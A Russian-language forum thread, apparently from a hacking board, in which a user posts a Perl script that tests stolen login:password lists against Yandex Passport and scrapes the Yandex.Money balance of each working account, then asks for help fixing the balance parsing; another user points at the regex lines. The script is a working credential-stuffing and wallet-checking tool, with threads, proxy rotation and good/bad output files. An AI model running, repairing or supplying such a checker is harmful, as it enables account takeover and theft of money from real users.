[Помогите!] Яндекс деньги Perl

[hik77]

Всем привет
Помогите решить задачу,как тут быть проверять проверяет а на баланс нет.
__________________________________________________ _______________
#!/usr/bin/perl
#© dpe


use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
use HTTP::Request::Common;


#######################Config##################### #############

my $accs = 'accs.txt'; #Файл с аккаунтами вида (акк;пасс)
my $acc_delm = ';'; #разделитель
my $threads = 1; #кол-во потоков
my $good = 'good.txt'; #файл с гудами
my $bad = 'bad.txt'; #файл с бэдами

################################################## #############


my @accs : shared = lf($accs);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;

sub main {
while(@accs) {
my ($login, $pass) = split $acc_delm => shift @accs;
my $ua = LWP::UserAgent->new;
$ua->cookie_jar({});
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");

$numb=int(rand(scalar @proxy));
$pro=$proxy[$numb];
if($ua->get('http://r0.ru')->is_success){print " Good proxy $pro\n"; }
else {splice(@proxy,$numb,1); print " Proxy error $pro\n"; }

my $resp = $ua->post('https://pda-passport.yandex.ru/passport?mode=auth',
[ 'timestamp' =>'',
'login' => $login,
'passwd' => $pass]);

if ($resp-> content=~ m/mode=register/msgi){
print "[BAD] $login:$pass\n";
wf($bad, "$login:$pass\n");}
else {
$resp = $ua->get("https://m.money.yandex.ru/")->content;
my $rub=$1 if $resp=~/b-sum__rub\D+(\d{1,10})/;
my $cent=$resp=~/b-sum__cent\D+(\d{1,10})/?$1:0;
print "$rub $cent\n";
print "[GOOD] $login:$pass:$bal\n";
wf($good, "$login:$pass:$bal\n");}
}
}
sub lf
{
open my $dat, '< ', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}

[ProTocoL]

Там поменялась строка поиска баланса
Вот тут надо поменять

PHP код:

my $rub=$1 if $resp=~/b-sum__rub\D+(\d{1,10})/;
my $cent=$resp=~/b-sum__cent\D+(\d{1,10})/?$1:0; 


[hik77]

Цитата: Сообщение от ProTocoL Там поменялась строка поиска баланса Вот тут надо поменять PHP код: my $rub=$1 if $resp=~/b-sum__rub\D+(\d{1,10})/; my $cent=$resp=~/b-sum__cent\D+(\d{1,10})/?$1:0;

Спасибо за ответ.А по подробней можно,что именно писать.